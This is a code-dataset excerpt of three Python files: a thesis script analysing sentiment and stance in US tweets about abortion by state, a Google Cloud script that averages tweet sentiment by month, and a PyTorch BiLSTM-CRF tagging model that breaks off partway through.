+{"seq_id":"28816106603","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 27 22:16:15 2023\n\n@author: sairachawla\n\"\"\"\n\n## importing necessary libraries\nimport os\nos.chdir('/Users/sairachawla/Developer/qmss_thesis')\nimport json\nimport datetime\nfrom utils import *\nimport pandas as pd\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nimport plotly.express as px\nfrom traintwitterdata import *\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import LatentDirichletAllocation\nfrom plotly.offline import plot\n \n## prep for queries \nkey_phrases = ['abortion', 'abortion+pill', 'birth+control']\nstates = pd.read_csv('plosonedata2018.csv')['State']\nstates = [s.replace(' ', '+') for s in states]\n\ndata_lst = []\n\n## querying for all states and all key_phrases\nfor phrase in key_phrases:\n for state in states:\n jsons = [json.loads(info) for info in main(phrase, state)] # loads into a json dump\n texts = [json['text'] for json in jsons] \n datetimes = [json['created_at'] for json in jsons]\n public_metrics = [json['public_metrics'] for json in jsons]\n author_public_metrics = [json['author']['public_metrics'] for json in jsons]\n \n temp = [[state]*len(texts), [phrase]*len(texts), texts, datetimes, public_metrics, author_public_metrics]\n \n data_lst.append(temp)\n \n## fill in a dataframe with api data\ntweets = pd.DataFrame()\n\nfor lst in data_lst:\n temp = pd.DataFrame()\n temp = temp.assign(State = lst[0], Phrase = lst[1], Tweet = lst[2], Timestamp = lst[3], Public_Metrics = lst[4], Author_Public_Metrics = lst[5])\n tweets = pd.concat([tweets, temp], ignore_index=True)\n \n## Engagement Rate Calculation\ntweets['Engagement Rate Sum'] = [tweet['retweet_count']+tweet['reply_count']+tweet['like_count']+tweet['quote_count'] for tweet in tweets['Public_Metrics']]\ntweets['No. Tweets'] = [tweet['tweet_count'] for tweet in tweets['Author_Public_Metrics']]\ntweets['No. Followers'] = [tweet['followers_count'] if tweet['followers_count'] > 0 else np.nan for tweet in tweets['Author_Public_Metrics']]\ntweets['Engagement Rate'] = ((tweets['Engagement Rate Sum'] / tweets['No. Tweets']) / tweets['No. Followers']) * 100\ntweets.drop(['Public_Metrics', 'Author_Public_Metrics', 'Engagement Rate Sum', 'No. Tweets', 'No. Followers'], axis=1, inplace=True)\n\n## more data cleaning\ntweets['Timestamp'] = [datetime.datetime.strptime(timestamp[0:10], '%Y-%m-%d').date() for timestamp in tweets['Timestamp']]\n\n#tweets['Tweet_clean'] = tweets['Tweet'].apply(clean_text)\n#tweets['Tweet_sw'] = tweets['Tweet_clean'].apply(rem_sw)\n#tweets['Tweet_stem'] = tweets['Tweet_sw'].apply(stem_fun)\n\n## Vader Sentiment Analysis, use vader column\nanalyzer = SentimentIntensityAnalyzer()\ntweets['vader'] = [analyzer.polarity_scores(tweet)['compound'] for tweet in tweets['Tweet']]\n#tweets['vader_clean'] = [analyzer.polarity_scores(tweet)['compound'] for tweet in tweets['Tweet_clean']]\n#tweets['vader_sw'] = [analyzer.polarity_scores(tweet)['compound'] for tweet in tweets['Tweet_sw']]\n#tweets['vader_stem'] = [analyzer.polarity_scores(tweet)['compound'] for tweet in tweets['Tweet_stem']]\n\n## aggregate avg(sentiment) by week; vizualization\n## focus on states with the most deviation from each other \n## how correlated they are with each other; nneed patricks help for this \n\ntweets.rename(columns={'vader':'Vader Sentiment'}, inplace=True)\nstatespop2022 = pd.read_csv('statepop2022.csv', sep='\\t', encoding='utf-8').rename(columns={'US States':'State'})\n# final_df = pd.merge(final_df, statespop2022, on='State')\n## STANCE PREDICTIONS\ntest1 = tweets['Tweet'].apply(clean_text)\ntest2 = test1.apply(rem_sw)\ntest3 = test2.apply(stem_fun)\ntest4 = test3.apply(tokenize)\ntform_test = tform.transform(test4)\ntweets['Predicted Stance'] = t_svc.predict(tform_test.toarray())\n\n## avg(sentiment) and avg(stance) for plosone data\ntemp2 = []\n\n## not sure about this calculation\nfor stance in tweets['Predicted Stance']:\n if stance == 'AGAINST':\n temp2.append(100)\n elif stance == 'FAVOR':\n temp2.append(0)\n else:\n temp2.append(50)\n \ntweets['Numerical Predicted Stance'] = temp2\n\ntweets['State'] = tweets['State'].apply(replace_plus)\nstatepop2022 = pd.read_csv('statepop2022.csv', sep='\\t', encoding='utf-8')\nstateabbrevs = pd.read_csv('stateabbrevs.csv', sep='\\t', encoding='utf-8')\ntweets = pd.merge(tweets, stateabbrevs, on='State')\ntweets.to_csv('tweets.csv', sep='\\t', encoding='utf-8')\n\nby_state = tweets.groupby('State')[['Vader Sentiment', 'Engagement Rate', 'Numerical Predicted Stance']].mean()\n\n\n# =============================================================================\n# ## TOPIC MODELING\n# tf = TfidfVectorizer()\n# test_transformed = tf.fit_transform(test4)\n# feature_names = tf.get_feature_names_out()\n# n_topics = 5\n# lda = LatentDirichletAllocation(n_components=n_topics)\n# lda.fit(test_transformed)\n# n_top_words = 5\n# topic_words = []\n# for topic_idx, topic in enumerate(lda.components_):\n# top_words_idx = topic.argsort()[:-n_top_words - 1:-1]\n# top_words = [feature_names[i] for i in top_words_idx]\n# topic_words.append(top_words)\n# tweet_topics = lda.transform(test_transformed)\n# topic_names = [\"Topic \" + str(i) + \": \" + \" \".join(topic_words[i]) for i in range(n_topics)]\n# tweet_topics_df = pd.DataFrame(tweet_topics, columns=topic_names)\n# =============================================================================\n\n## VISUALIZATIONS\ntweets.info() # no missing values and all of correct type\ntweets.shape # no. rows by no. cols\ntweets[['Engagement Rate', 'Vader Sentiment', 'Numerical Predicted Stance']].describe()\ntweets.count(0) # checking there is no missing data\ntweets.groupby(['Predicted Stance'])['Tweet'].agg('count') / len(tweets) * 100 # Percent of Tweets Per Category \ntweets['Predicted Stance'].value_counts() # No. of Tweets per categorY\ntweets['State'].value_counts() # No. of Tweets Per State; states w/ over 100 tweets only? those with less are more skewed ASK PATRICK\ntweets['Phrase'].value_counts() # No. of Tweets Per Phrase\npd.crosstab(tweets['State'], tweets['Predicted Stance']) # no in each cross category\npd.crosstab(tweets['Phrase'], tweets['Predicted Stance'], margins=True, margins_name=\"Total\") # most birth control tweets are in favor, is that an issue\n#pd.crosstab(tweets['Phrase'], tweets['State'], tweets['Predicted Stance'])\n\n# section - Results: answers hypothesis 1\nby_date1 = pd.DataFrame(tweets.groupby(['Timestamp'])['Tweet'].count()) \nplt.plot(by_date1.index, by_date1['Tweet']) # volume of tweets by date \nplt.xlabel('Timestamp - Month')\nplt.ylabel('No. of Tweets')\n\n# section - Results: Classification of Tweets\ntweets['Predicted Stance'].hist()\nplt.xlabel('Predicted Stance against Legalization of Abortion')\nplt.ylabel('No. of Tweets')\ntweets.groupby(['Predicted Stance'])['Timestamp'].hist(legend=True) # volume of tweets by date separated by predicted stance\nplt.xlabel('Timestamp - Month')\nplt.ylabel('No. of Tweets')\ntweets.groupby(['Predicted Stance'])['Engagement Rate'].mean() # average engagement rate for tweets separated by predicted stance\ntweets.groupby(['Predicted Stance'])['Engagement Rate'].median() # median engagement rate for tweets separated by predicted stance\ntweets.groupby(['Predicted Stance'])['Engagement Rate'].max() # max engagement rate for tweets separated by predicted stance\nagainst_max_engagement = tweets[tweets['Engagement Rate'] > 60] # tweet with the maximum engagement score for against stance; TWEET SHOULD HAVE BEEN CLASSIFIED AS FAVOR \nfavor_max_engagement = tweets[tweets['Engagement Rate'] == 7.692308] # tweet with the maximum engagement score for favor stance\n\n# section - Results: Sentiment; answers Hypothesis 2\ntweets['Vader Sentiment'].hist() # sentiment variation\nplt.xlabel('Sentiment')\nplt.ylabel('No. of Tweets')\ntweets.groupby(['Predicted Stance'])['Vader Sentiment'].hist(legend=True) # sentiment variation by predicted stance\nplt.xlabel('Sentiment')\nplt.ylabel('No. of Tweets')\ntbl4 = pd.DataFrame(tweets.groupby(['Predicted Stance'])['Vader Sentiment'].mean()) # shows AGAINST tweets had more negative sentiment \ntbl4.to_html(\"tbl4.html\")\n\nby_date2 = pd.DataFrame(tweets.groupby(['Timestamp'])['Vader Sentiment'].mean()) # sentiment variation over time\nby_date2['Standard Deviation'] = by_date2[\"Vader Sentiment\"].rolling(30).std()\nby_date2['Standard Deviation'] = by_date2['Standard Deviation'].shift(1)\nby_date2['Average'] = by_date2['Vader Sentiment'].rolling(30).mean()\nby_date2['Average'] = by_date2['Average'].shift(1)\n## shift row to start a day 31\nby_date2['z-score'] = (by_date2['Vader Sentiment'] - by_date2['Average']) / by_date2['Standard Deviation']\n#by_date2.to_csv('by_date2.csv')\n\nplt.plot(by_date2.index, by_date2['Vader Sentiment']) # line plot?\nplt.xlabel('Timestamp - Month')\nplt.ylabel('Average Sentiment Score')\nplt.plot(by_date2.index, by_date2['z-score']) # line plot?\nplt.xlabel('Timestamp - Month')\nplt.ylabel('Rolling Z-Score')\ntweets['Month'] = tweets['Timestamp'].apply(lambda x: x.month)\nmarch_tweets = tweets[tweets['Month'] == 3]\njune_tweets = tweets[tweets['Month'] == 6]\ndecember_tweets = tweets[tweets['Month'] == 12]\nlen(march_tweets)\nlen(june_tweets)\nlen(december_tweets)\nmarch_tweets_state1 = march_tweets.groupby('State')['Tweet'].count()\nmarch_tweets_state2 = march_tweets.groupby('State')['Vader Sentiment'].median()\njune_tweets_state2 = june_tweets.groupby('State')['Vader Sentiment'].median()\ndecember_tweets_state2 = december_tweets.groupby('State')['Vader Sentiment'].median()\nby_date3 = pd.DataFrame(tweets.groupby(['Timestamp'])['Tweet'].count())\n\n# section - Results: State-Level\ntweets_per_state = pd.DataFrame(tweets.groupby(['Abbrev', 'State'])['Tweet'].count()) # No. of Tweets from each state\ntweets_per_state.reset_index(inplace=True)\nfig1 = px.choropleth(tweets_per_state,\n locations='Abbrev', \n locationmode='USA-states', \n scope=\"usa\",\n color='Tweet',\n color_continuous_scale=\"sunset\", \n \n )\nfig1 = fig1.update_layout(legend={'title':'No. of Tweets'})\nplot(fig1)\n\nstatepop2022.rename(columns={'US States': 'State'}, inplace=True)\n#tweets_per_state.rename(columns={'Abbrev':'State'}, inplace=True)\ntweets_per_state = pd.merge(tweets_per_state, statepop2022, on='State')\ntweets_per_state['No. of Tweets per Person'] = tweets_per_state['Tweet']/tweets_per_state['Population 2022']\nfig2 = px.choropleth(tweets_per_state,\n locations='Abbrev', \n locationmode='USA-states', \n scope=\"usa\",\n color='No. of Tweets per Person',\n color_continuous_scale=\"sunset\", \n \n )\nplot(fig2)\n\n## aggressive preprocessing\ntweets_t = tweets\ntweets_t['Tweet'] = tweets_t['Tweet'].apply(clean_text).apply(rem_sw).apply(stem_fun)\n\nwashington = tweets_t[tweets_t['State'] == 'Washington']\nnh = tweets_t[tweets_t['State'] == 'New Hampshire']\nri = tweets_t[tweets_t['State'] == 'Rhode Island']\noregon = tweets_t[tweets_t['State'] == 'Oregon']\nidaho = tweets_t[tweets_t['State'] == 'Idaho']\nalabama = tweets_t[tweets_t['State'] == 'Alabama']\nmichigan = tweets_t[tweets_t['State'] == 'Michigan']\nsouth_dakota = tweets_t[tweets_t['State'] == 'South Dakota']\n\n\nwashington_freq = wrd_freq(washington, 'Tweet')\nnh_freq = wrd_freq(nh, 'Tweet')\nri_freq = wrd_freq(ri, 'Tweet')\noregon_freq = wrd_freq(oregon, 'Tweet')\nidaho_freq = wrd_freq(idaho, 'Tweet')\nalabama_freq = wrd_freq(alabama, 'Tweet')\nmichigan_freq = wrd_freq(michigan, 'Tweet')\nsouth_dakota_freq = wrd_freq(south_dakota, 'Tweet')\n\ntbl8 = pd.DataFrame(alabama_freq.most_common()[0:11]).to_html('tbl8.html')\ntbl9 = pd.DataFrame(idaho_freq.most_common()[0:11]).to_html('tbl9.html')\ntbl10 = pd.DataFrame(ri_freq.most_common()[0:11]).to_html('tbl10.html')\ntbl11 = pd.DataFrame(nh_freq.most_common()[0:11]).to_html('tbl11.html')\n\ntbl12 = pd.DataFrame(washington_freq.most_common()[0:11]).to_html('tbl12.html')\ntbl13 = pd.DataFrame(oregon_freq.most_common()[0:11]).to_html('tbl13.html')\ntbl14 = pd.DataFrame(michigan_freq.most_common()[0:11]).to_html('tbl14.html')\ntbl15 = pd.DataFrame(south_dakota_freq.most_common()[0:11]).to_html('tbl15.html')\n \n# section - Results: States w/ Abortion Trigger laws, FIND THE NUMBER OF TWEETS PER PERSON\ntrigger_states = {'State':['Arkansas', 'Idaho', 'Kentucky', 'Louisiana', 'Mississippi', 'Missouri', 'North Dokota',\n 'Oklahona', 'South Dakota', 'Tennessee', 'Texas', 'Utah', 'Wyoming']}\ntrigger_states = pd.DataFrame.from_dict(trigger_states)\ntrigger_states = pd.merge(trigger_states, statespop2022, on='State')\ntrigger_states.drop('Unnamed: 0', axis=1, inplace=True)\ntweets.drop('Unnamed: 0', axis=1, inplace=True)\ntrigger_tweets = tweets[tweets['State'].isin(trigger_states['State'])]\ntbl7 = trigger_tweets.describe()\ntbl7.to_html(\"tbl7.html\") \ntrigger_prop = len(trigger_tweets) / sum(trigger_states['Population 2022']) # the no. of tweets per person in trigger states\n\n\nnon_trigger_tweets = tweets[~tweets['State'].isin(trigger_states['State'])] \nnon_trigger_tweets = pd.merge(non_trigger_tweets, statespop2022, on='State')\nnon_trigger_prop = len(non_trigger_tweets) / sum(non_trigger_tweets['Population 2022']) # the no. of tweets per person in non trigger states\n \n\n# section - Data\n# 1 tweet to represent - true against, true favor, true neutral, false favor, false against\ntbl1 = tweets.iloc[[8049, 15165, 31578, 16413, 13893],:].head() # indices change every time the data is pulled\ntbl1.drop(['Numerical Predicted Stance'], axis=1, inplace=True) \n#tbl1.rename(columns={'vader':'Vader Sentiment'}, inplace=True) \ntbl1.to_html(\"tbl1.html\") \n\n\n# section - Discussion\n# example tweets with negative sentiment from against and favor predicted stance\ntbl4 = tweets[(tweets['Predicted Stance'] == 'AGAINST') & (tweets['Vader Sentiment'] < 0)].to_html('tbl4.html')\n\n\n# plt.scatter(tweets[tweets['Engagement Rate'] >= 0.0037]['Engagement Rate'], tweets[tweets['Engagement Rate'] >= 0.0037]['vader'])\n\n\n\n# tweets.groupby(['Predicted Stance'])['Engagement Rate'].agg('describe')\n\n# temp = tweets[tweets['Engagement Rate'] >= 0.0037]\n# temp.groupby(['Predicted Stance'])['Engagement Rate'].agg('describe')\n# temp.groupby(['State'])['Engagement Rate'].agg('mean')\n \n \n# against = pd.DataFrame(tweets[tweets['Predicted Stance'] == 'AGAINST'].groupby(['Timestamp'])['Tweet'].count())\n# plt.plot(by_state['Timestamp'], by_state['Tweet']) # line plot?\n\n\n\n\n\n\n\n\n\n\n ","repo_name":"sairachawla/QMSS-Thesis","sub_path":"twitterdata.py","file_name":"twitterdata.py","file_ext":"py","file_size_in_byte":14832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30732960075","text":"#This program is meant to take in a large list of tweets an anlyze the sentiment of each individual tweet.\r\n#We then take the average of the tweets by month\r\n\r\n# Imports the Google Cloud client library\r\nfrom google.cloud import language_v1\r\nimport os\r\nimport csv\r\nimport re\r\n\r\n\r\n#establishing google api credentials\r\npath = r\"C:\\Users\\m221320\\Downloads\\twitte-sentiement-517f001bf0f2.json\"\r\nos.environ['GOOGLE_APPLICATION_CREDENTIALS']=path\r\n\r\n\r\n\r\n\r\n# Instantiates a client\r\nclient = language_v1.LanguageServiceClient()\r\n\r\n# The text to analyze\r\n#Import csv files by month clean the content of the tweets and add it to list of tweets by month\r\nids=set()\r\n\r\nptext={\"01\":[],\"02\":[],\"03\":[],\"04\":[],\"05\":[],\"06\":[],\"07\":[],\"08\":[],\"09\":[],\"10\":[],\"11\":[],\"12\":[]}\r\nwith open(\"tweets_data(1).csv\" , newline='') as f:\r\n file = csv.reader(f)\r\n for i in file:\r\n if ((str(i[0]) in ids)==False and len(i[0])==19):\r\n ids.add(str(i[0]))\r\n #Clean the text\r\n text = i[2]\r\n text= text.strip(\"b'RT\")\r\n text= text.strip('\"RT')\r\n text = re.sub(\"@[A-Za-z0-9_]+\",\"\", text)\r\n text = re.sub(\"#[A-Za-z0-9_]+\",\"\", text)\r\n text = re.sub(r\"http\\S+\", \"\", text)\r\n text = re.sub(r'\\\\x\\S+', \"\", text)\r\n text= text.strip(\" :\")\r\n #add text to dictionary\r\n ptext[i[1][5:7]] += [text]\r\n #mantain updates on flow\r\n if(len(ids)%10000==0):\r\n print(str(len(ids)) + \" tweets so far\")\r\n for i in ptext:\r\n print(str(len(ptext[i])) + \" tweets : month \" + str(i))\r\n print(\"\\n\")\r\n\r\n else:\r\n continue\r\n\r\nfor i in ptext:\r\n tweets = ptext[i]\r\n sent_total=0\r\n neg=0\r\n nuet=0\r\n pos=0\r\n count=0\r\n\r\n #api call for sentiment analysis we take the sentimenet of each individual tweet and average them by month\r\n #we then keep a count of positive negative and nuetral tweets\r\n for txt in tweets:\r\n try:\r\n document = language_v1.Document(content=txt, type_=language_v1.Document.Type.PLAIN_TEXT)\r\n sentiment = client.analyze_sentiment(request={\"document\": document}).document_sentiment\r\n\r\n sent_total+= sentiment.score\r\n count+=1\r\n if (sentiment.score> 0):\r\n pos+=1\r\n if (sentiment.score< 0):\r\n neg+=1\r\n if (sentiment.score== 0):\r\n nuet+=1\r\n #some tweets are in a language that the google api does not take. We only use English and Spanish\r\n except Exception as e:\r\n print(e)\r\n continue\r\n if(count%1000==0):\r\n print(str(count) + \" tweets analyzed\")\r\n\r\n\r\n sent_avg=sent_total/count\r\n with open(str(i) + \".txt\", \"w+\") as G:\r\n print(\"Sentiment: {}\".format(sent_avg))\r\n print(\"Positive Tweets: \" +str(pos))\r\n print(\"Negative Tweets: \" +str(neg))\r\n print(\"Nuetral Tweets: \" +str(nuet))\r\n G.write(\"Sentiment: {}\".format(sent_avg))\r\n G.write(\"\\n\")\r\n G.write(\"Positive Tweets: \" +str(pos))\r\n G.write(\"\\n\")\r\n G.write(\"Negative Tweets: \" +str(neg))\r\n G.write(\"\\n\")\r\n G.write(\"Nuetral Tweets: \" +str(nuet))\r\n\r\n print(\"This is month: \" + str(i) + \"\\n\")\r\n\r\n\r\n #\r\n # document = language_v1.Document(content=text, type_=language_v1.Document.Type.PLAIN_TEXT)\r\n # # Detects the sentiment of the text\r\n # sentiment = client.analyze_sentiment(request={\"document\": document}).document_sentiment\r\n # #print(\"Text: {}\".format(text))\r\n # print(\"Sentiment: {}, {}\".format(sentiment.score, sentiment.magnitude))\r\n\r\n\r\n\r\n# The score of a document's sentiment indicates the overall emotion of a document. The magnitude of a document's sentiment indicates\r\n#how much emotional content is present within the document, and this value is often proportional to the length of the document.\r\n# It is important to note that the Natural Language API indicates differences between positive and negative emotion in a document,\r\n# but does not identify specific positive and negative emotions. For example, \"angry\" and \"sad\" are both considered negative emotions.\r\n#However, when the Natural Language API analyzes text that is considered \"angry\", or text that is considered \"sad\", the response only\r\n#indicates that the sentiment in the text is negative, not \"sad\" or \"angry\".\r\n# A document with a neutral score (around 0.0) may indicate a low-emotion document, or may indicate mixed emotions, with both high\r\n# positive and negative values which cancel each out. Generally, you can use magnitude values to disambiguate these cases, as truly\r\n#neutral documents will have a low magnitude value, while mixed documents will have higher magnitude values.\r\n# When comparing documents to each other (especially documents of different length), make sure to use the magnitude values to calibrate\r\n#your scores, as they can help you gauge the relevant amount of emotional content.\r\n","repo_name":"acoop2/Twitter_Analysis","sub_path":"Sentiment.py","file_name":"Sentiment.py","file_ext":"py","file_size_in_byte":5041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37029585738","text":"# -*- coding:utf-8 -*-\nimport json\n\nimport torch\nimport torch.autograd as autograd\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\n\n\n# Helper functions to make the code more readable.\ndef argmax(vec):\n # return the argmax as a python int\n _, idx = torch.max(vec, 1)\n return idx.item()\n\n\ndef prepare_sequence(seq, to_ix):\n idxs = [to_ix[w] for w in seq]\n return torch.tensor(idxs, dtype=torch.long)\n\n\n# Compute log sum exp in a numerically stable way for the forward algorithm\n# 最后return处应用了计算技巧,目的是防止sum后数据过大越界,实际就是对vec应用log_sum_exp\ndef log_sum_exp(vec):\n max_score = vec[0, argmax(vec)]\n # print('max_score is :',max_score)\n max_score_broadcast = max_score.view(1, -1).expand(1, vec.size()[1])\n # print(max_score_broadcast)\n return max_score + torch.log(torch.sum(torch.exp(vec - max_score_broadcast)))\n\n# Create model\nclass BiLSTM_CRF(nn.Module):\n\n def __init__(self, vocab_size, tag_to_ix, embedding_dim, hidden_dim):\n super(BiLSTM_CRF, self).__init__()\n self.embedding_dim = embedding_dim # 5\n self.hidden_dim = hidden_dim\n self.vocab_size = vocab_size # 956个词\n self.tag_to_ix = tag_to_ix # {'date': 0, 'title': 1, 'h1': 2, 'h2': 3, 'h3': 4, 'content': 5, '': 6, '': 7}\n self.tagset_size = len(tag_to_ix) # 8\n # nn.Embedding(len,5) 词表长度为n,每一个词向量的维度为5\n self.word_embeds = nn.Embedding(vocab_size, embedding_dim)\n # // 代表向下取整(5,2)\n self.lstm = nn.LSTM(embedding_dim, hidden_dim // 2,\n num_layers=1, bidirectional=True) # 用到batch时候,加上 , batch_first=True\n\n # Maps the output of the LSTM into tag space.\n # 将LSTM的输出映射到标记空间。\n self.hidden2tag = nn.Linear(hidden_dim, self.tagset_size)\n\n # Matrix of transition parameters. Entry i,j is the score of transitioning *to* i *from* j.\n # 随机生成的转移矩阵,放入了网络中,会更新的\n self.transitions = nn.Parameter(\n torch.randn(self.tagset_size, self.tagset_size).cuda())\n self.START_TAG = \"\"\n self.STOP_TAG = \"\"\n # These two statements enforce the constraint that we never transfer\n # to the start tag and we never transfer from the stop tag\n # 这两个语句强制执行一个约束,即我们从不转移到开始标记,也从不从停止标记转移\n # transitions:\n # tensor([[-1.5256e+00, -7.5023e-01, -6.5398e-01, -1.6095e+00, -1.0000e+04],\n # [-6.0919e-01, -9.7977e-01, -1.6091e+00, -7.1214e-01, -1.0000e+04],\n # [ 1.7674e+00, -9.5362e-02, 1.3937e-01, -1.5785e+00, -1.0000e+04],\n # [-1.0000e+04, -1.0000e+04, -1.0000e+04, -1.0000e+04, -1.0000e+04],\n # [-5.6140e-02, 9.1070e-01, -1.3924e+00, 2.6891e+00, -1.0000e+04]])\n self.transitions.data[tag_to_ix[self.START_TAG], :] = -10000\n self.transitions.data[:, tag_to_ix[self.STOP_TAG]] = -10000\n\n self.hidden = self.init_hidden()\n\n def init_hidden(self, batch_size=1):\n # 元组,(tensor([[[0.6614, 0.2669]],\n # [[0.0617, 0.6213]]]),\n # tensor([[[-0.4519, -0.1661]],\n # [[-1.5228, 0.3817]]]))\n return (torch.randn(2, batch_size, self.hidden_dim // 2).cuda(),\n torch.randn(2, batch_size, self.hidden_dim // 2).cuda())\n\n # 此处基于前向算法,计算输入序列x所有可能的标注序列对应的log_sum_exp,同时可参考上述LSE的说明.\n # 预测序列的得分\n def _forward_alg(self, feats):\n # Do the forward algorithm to compute the partition function\n # 使用正向传播算法计算分割函数\n init_alphas = torch.full((1, self.tagset_size), -10000.).cuda()\n # START_TAG has all of the score.\n init_alphas[0][self.tag_to_ix[self.START_TAG]] = 0.\n\n # Wrap in a variable so that we will get automatic backprop\n # forward_var初值为[-10000.,-10000.,-10000.,0,-10000.] 初始状态的forward_var,随着step t变化\n forward_var = init_alphas\n\n for feat in feats:\n alphas_t = [] # The forward tensors at this timestep,alphas_t即是上述定义的LSE,其size=1*tag_size\n for next_tag in range(self.tagset_size): # 此处遍历step=t时所有可能的tag\n # broadcast the emission score: it is the same regardless of the previous tag\n\n # feat: tensor([-0.2095, 0.1737, -0.3876, 0.4378, -0.3475]), torch.Size([5])\n # tensor(-0.2095) -> tensor([[-0.2095]]) -> tensor([[-0.2095, -0.2095, -0.2095, -0.2095, -0.2095]])\n emit_score = feat[next_tag].view(1, -1).expand(1, self.tagset_size).cuda() #维度是1*5\n # the ith entry of trans_score is the score of transitioning to next_tag from i\n # 从每一个tag转移到next_tag对应的转移score\n # 0时为例, tensor([-1.5256e+00, -7.5023e-01, -6.5398e-01, -1.6095e+00, -1.0000e+04]) -> tensor([[-1.5256e+00, -7.5023e-01, -6.5398e-01, -1.6095e+00, -1.0000e+04]])\n trans_score = self.transitions[next_tag].view(1, -1).cuda() # 维度是1*5\n\n # 第一次迭代时理解:\n # trans_score所有其他标签到B标签的概率\n # 由lstm运行进入隐层再到输出层得到标签B的概率,emit_score维度是1*5,5个值是相同的\n next_tag_var = forward_var + trans_score + emit_score\n # The forward variable for this tag is log-sum-exp of all the scores.\n # 当前tag的forward变量是对所有分数进行log-sum-exp\n alphas_t.append(log_sum_exp(next_tag_var).view(1)) # 此处相当于LSE(t,next_tag)\n # 不断更新forward_var, 得到第(t-1)step时5个标签的各自分数,得到一条(1,5)的tensor矩阵\n forward_var = torch.cat(alphas_t).view(1, -1) # size=1*tag_size\n # 最后再走一步,代表序列结束。\n # 和STOP_TAG那一行相加,仍得到一条(1,5)的tensor矩阵\n terminal_var = forward_var + self.transitions[self.tag_to_ix[self.STOP_TAG]]\n # 用log_sum_exp计算分数\n alpha = log_sum_exp(terminal_var)\n return alpha\n\n # 得到feats\n def _get_lstm_features(self, sentences, sentence_lens): # torch.Size([128, 100]) torch.Size([128, 1])\n sentence_feats = []\n for ix, (sentence, sentence_len)in enumerate(zip(sentences, sentence_lens)): # torch.Size([1, 100]) torch.Size([1, 1])\n self.hidden = self.init_hidden()\n # 截取真实的句子长度\n sentence = sentence[0:sentence_len]\n # x.view(a,1,-1),代表将x打平,然后平均分为a行\n embeds = self.word_embeds(sentence).view(len(sentence), 1, -1) # embeds shape: torch.Size([sentence_len, 1, embedding_dim])\n # lstm_out shape: (句长, 1, hidden_dim), lstm_out.shape[0]: 句长或单词个数\n lstm_out ,self.hidden = self.lstm(embeds, self.hidden)\n total_sentence_out = torch.zeros([1, self.hidden_dim]).cuda() # total_sentence_out shape: torch.Size([1, hidden_dim])\n for i, out in enumerate(lstm_out):\n total_sentence_out += out\n avg_sentence_out = total_sentence_out/lstm_out.shape[0] # avg_sentence_out shape: torch.Size([1, hidden_dim])\n sentence_out = self.hidden2tag(avg_sentence_out) # sentence_out shape: torch.Size([1, tag_size])\n sentence_feats.append(sentence_out)\n lstm_feats = torch.cat(sentence_feats) # lstm_feats shape: torch.Size([128, 8])\n # print(lstm_feats.shape)\n return lstm_feats\n\n # 得到gold_seq tag的score\n def _score_sentence(self, feats, tags):\n # Gives the score of a provided tag sequence\n # socre: tensor([0.])\n score = torch.zeros(1).cuda()\n # 将START_TAG创建的tensor([3.])拼接到tags序列上\n # tensor([3.])与tensor([0, 1, 1, 1, 2, 2, 2, 0, 1, 2, 2])拼接起来 -> tensor([3, 0, 1, 1, 1, 2, 2, 2, 0, 1, 2, 2])\n tags = torch.cat([torch.tensor([self.tag_to_ix[self.START_TAG]], dtype=torch.long).cuda(), tags.cuda()]).cuda()\n # 将feats[i][tags[i+1]], 即feats[i][tag[i]]+tran[tag[i],tag[i-1]]相加得到分数\n for i, feat in enumerate(feats):\n # self.transitions[tags[i + 1], tags[i]] 实际得到的是从标签i到标签i+1的转移概率\n # feat[tags[i+1]], feat是step i 的输出结果,有5个值,对应B, I, E, START_TAG, END_TAG, 取对应标签的值\n score = score + self.transitions[tags[i + 1], tags[i]] + feat[tags[i + 1]]\n score = score + self.transitions[self.tag_to_ix[self.STOP_TAG], tags[-1]]\n return score\n\n # 解码,得到预测的序列,以及预测序列的得分\n def _viterbi_decode(self, feats):\n backpointers = []\n\n # Initialize the viterbi variables in log space\n # 初始化日志空间中的viterbi变量,全为-10000.0 tensor([[-10000., -10000., -10000., -10000., -10000.]])\n init_vvars = torch.full((1, self.tagset_size), -10000.).cuda()\n # START_TAG对应的变为0, 此时为tensor([[-10000., -10000., -10000., 0., -10000.]])\n init_vvars[0][self.tag_to_ix[self.START_TAG]] = 0\n\n # forward_var at step i holds the viterbi variables for step i-1\n # 步骤i的forward_var保存步骤i-1的viterbi变量\n forward_var = init_vvars\n # 按行进行for循环,共循环len次, len为句长, 每次维度为(1,5)\n for feat in feats:\n bptrs_t = [] # holds the backpointers for this step,timestamp=t时每个tag对应的最优路径其前一步时的tag\n viterbivars_t = [] # holds the viterbi variables for this step,timestamp=t时每个tag对应的最大score(不含发射概率)\n\n for next_tag in range(self.tagset_size):\n # next_tag_var[i] holds the viterbi variable for tag i at the\n # previous step, plus the score of transitioning\n # from tag i to next_tag.\n # next_tag_var[i]保存上一步骤中标记i的viterbi变量,加上从标记i转换到下一个标记的分数。\n\n # We don't include the emission scores here because the max\n # does not depend on them (we add them in below)\n # 我们这里不包括排放分数,因为最大值不依赖于它们(我们在下面添加它们)\n\n # transitions:\n # tensor([[-1.5256e+00, -7.5023e-01, -6.5398e-01, -1.6095e+00, -1.0000e+04],\n # [-6.0919e-01, -9.7977e-01, -1.6091e+00, -7.1214e-01, -1.0000e+04],\n # [ 1.7674e+00, -9.5362e-02, 1.3937e-01, -1.5785e+00, -1.0000e+04],\n # [-1.0000e+04, -1.0000e+04, -1.0000e+04, -1.0000e+04, -1.0000e+04],\n # [-5.6140e-02, 9.1070e-01, -1.3924e+00, 2.6891e+00, -1.0000e+04]])\n # forward_var: tensor([[-10000., -10000., -10000., 0., -10000.]])\n next_tag_var = forward_var + self.transitions[next_tag] #其他标签(B,I,E,Start,End)到标签next_tag的概率\n best_tag_id = argmax(next_tag_var)\n # 记录每行中最大值的索引\n bptrs_t.append(best_tag_id)\n # 记录每行的最大值的tensor值\n viterbivars_t.append(next_tag_var[0][best_tag_id].view(1))\n # Now add in the emission scores, and assign forward_var to the set\n # of viterbi variables we just computed\n # 此处两个1*tag_size的向量相加,这样就得到timestamp=t时每个tag对应的完整最大score\n # 